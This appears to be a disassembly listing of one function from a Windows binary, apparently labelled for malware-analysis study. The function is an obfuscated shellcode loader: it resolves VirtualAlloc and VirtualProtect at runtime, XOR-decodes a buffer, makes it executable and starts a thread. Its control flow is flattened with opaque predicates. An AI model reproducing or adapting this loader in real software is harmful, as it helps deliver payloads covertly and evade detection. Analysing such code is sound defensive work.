Function at 0x140002502
Capabilities:
Create thread

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
mov rsi, r8
mov r14d, edx
mov rbx, rcx
mov rax, qword [0x140011400]
xor rax, rsp
mov qword [rsp + 0x90], rax
lea r13, [rsp + 0x70]
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
lea r15, [rsp + 0x83]
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
movabs rcx, 0x636f6c6c416c61
mov qword [rax + 5], rcx
movabs rcx, 0x416c617574726956
mov qword [rax], rcx
lea r12, [rsp + 0x74]
mov qword [rsp + 0x48], r12
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
movabs rcx, 0x746365746f7250
mov qword [rax + 7], rcx
movabs rcx, 0x506c617574726956
mov qword [rax], rcx
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
mov rdx, r15
call rdi
mov r15, rax
mov rcx, rbp
mov rdx, r12
call rdi
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], r14d
movsxd rax, r14d
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x58]
xor edi, edi
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call r15
mov qword [rsp + 0x38], rax
mov eax, 0x91b268d0
lea r12, [0x14000233d]
mov r15, qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14d, 0xae091e5f
cmp eax, 0x2a953ae9
jg 0x14000264f
cmp eax, 0xc4749134
jle 0x140002699
cmp eax, 0xdcfe6c7c
jle 0x14000272d
cmp eax, 0x1a2a5ed
jg 0x1400028ad
cmp eax, 0xdcfe6c7d
je 0x14000294c
cmp eax, 0xe339ef26
jne 0x140002612
mov eax, 0xae091e5f
jmp 0x140002612
cmp eax, 0x50278288
jle 0x1400026e3
cmp eax, 0x72b8d561
jle 0x1400027bf
cmp eax, 0x75c31c36
jg 0x1400028e1
cmp eax, 0x72b8d562
je 0x14000296a
cmp eax, 0x7418a5a0
jne 0x140002612
cmp byte [rsp + 0x37], 0
mov eax, 0xcc78323
mov ecx, 0x9e7e6a99
cmovne eax, ecx
jmp 0x140002612
cmp eax, 0xa088202c
jg 0x14000282f
cmp eax, 0x91dafef1
jle 0x14000291f
cmp eax, 0x91dafef2
je 0x140002974
cmp eax, 0x9e7e6a99
jne 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1a2a5ee
mov ecx, 0x5f822c99
jmp 0x140002b87
cmp eax, 0x3aa53de4
jg 0x14000286e
cmp eax, 0x2a953aea
je 0x140002982
cmp eax, 0x365143e1
je 0x1400029a0
cmp eax, 0x39f6d8a0
jne 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x365143e1
mov ecx, 0x4b0a4ef8
jmp 0x140002b87
cmp eax, 0xc4749135
je 0x1400029fd
cmp eax, 0xc8f12c14
je 0x140002a1b
cmp eax, 0xce1b5e94
jne 0x140002612
mov rcx, qword [rsp + 0x38]
call fcn.140001838
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x38]
mov r8d, 0x20
mov r9, r13
call rax
mov r9, qword [rsp + 0x38]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, r12
call r15
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3aa53de5
mov ecx, 0xc4749135
jmp 0x140002b87
cmp eax, 0x50278289
je 0x140002a39
cmp eax, 0x50d63944
je 0x140002a64
cmp eax, 0x5f822c99
jne 0x140002612
movsxd rax, dword [rsp + 0x30]
mov cl, byte [rbx + rax]
mov edx, dword [rsp + 0x30]
lea ebp, [rdx + 3]
test edx, edx
cmovns ebp, edx
and ebp, 0xfffffffc
sub edx, ebp
movsxd rdx, edx
xor cl, byte [rsi + rdx]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rax], cl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x6c], eax
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1a2a5ee
mov ecx, 0x50d63944
jmp 0x140002b87
cmp eax, 0xa088202d
je 0x140002a72
cmp eax, 0xae091e5f
je 0x140002a80
cmp eax, 0xb41361a8
jne 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x72b8d562
mov ecx, 0x2a953aea
jmp 0x140002b87
cmp eax, 0x3aa53de5
je 0x140002a9e
cmp eax, 0x419901a4
je 0x140002afb
cmp eax, 0x4b0a4ef8
jne 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3aa53de5
mov ecx, 0xce1b5e94
jmp 0x140002b87
cmp eax, 0x1a2a5ee
je 0x140002b05
cmp eax, 0xcc78323
jne 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x419901a4
mov ecx, 0xc8f12c14
jmp 0x140002b87
cmp eax, 0x75c31c37
je 0x140002b6e
cmp eax, 0x7e5ca70f
jne 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe339ef26
cmove eax, r14d
cmp dword [0x140013904], 0xa
cmovl eax, r14d
jmp 0x140002612
cmp eax, 0x91b268d0
jne 0x140002b99
mov dword [rsp + 0x30], edi
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91dafef2
mov ecx, 0x75c31c37
jmp 0x140002b87
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91dafef2
mov ecx, 0x7e5ca70f
jmp 0x140002b87
mov eax, 0x2a953aea
jmp 0x140002612
mov eax, dword [rsp + 0x30]
mov eax, 0x75c31c37
jmp 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x72b8d562
mov ecx, 0x39f6d8a0
jmp 0x140002b87
mov rcx, qword [rsp + 0x38]
call fcn.140001838
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x38]
mov r8d, 0x20
mov r9, r13
call rax
mov r9, qword [rsp + 0x38]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, r12
call r15
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
mov eax, 0x4b0a4ef8
jmp 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x365143e1
mov ecx, 0x81b341db
jmp 0x140002b87
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x419901a4
mov ecx, 0xb41361a8
jmp 0x140002b87
mov eax, dword [rsp + 0x30]
cmp eax, dword [rsp + 0x68]
setl byte [rsp + 0x37]
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa088202d
mov ecx, 0xdcfe6c7d
jmp 0x140002b87
mov edi, dword [rsp + 0x6c]
mov eax, 0x91b268d0
jmp 0x140002612
mov eax, dword [rsp + 0x30]
mov eax, 0x50278289
jmp 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe339ef26
mov ecx, 0x7418a5a0
jmp 0x140002b87
mov rcx, qword [rsp + 0x38]
call fcn.140001838
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x38]
mov r8d, 0x20
mov r9, r13
call rax
mov r9, qword [rsp + 0x38]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, r12
call r15
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
mov eax, 0xce1b5e94
jmp 0x140002612
mov eax, 0xc8f12c14
jmp 0x140002612
movsxd rax, dword [rsp + 0x30]
mov cl, byte [rbx + rax]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
lea ebp, [rdx + 3]
test edx, edx
cmovns ebp, edx
and ebp, 0xfffffffc
sub edx, ebp
movsxd rdx, edx
xor cl, byte [rsi + rdx]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rax], cl
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, 0x5f822c99
jmp 0x140002612
mov eax, dword [0x140013908]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa088202d
mov ecx, 0x50278289
cmove eax, ecx
cmp dword [0x140013904], 0xa
cmovl eax, ecx
jmp 0x140002612
cmp eax, 0x81b341db
jne 0x140002612
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400031e0
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret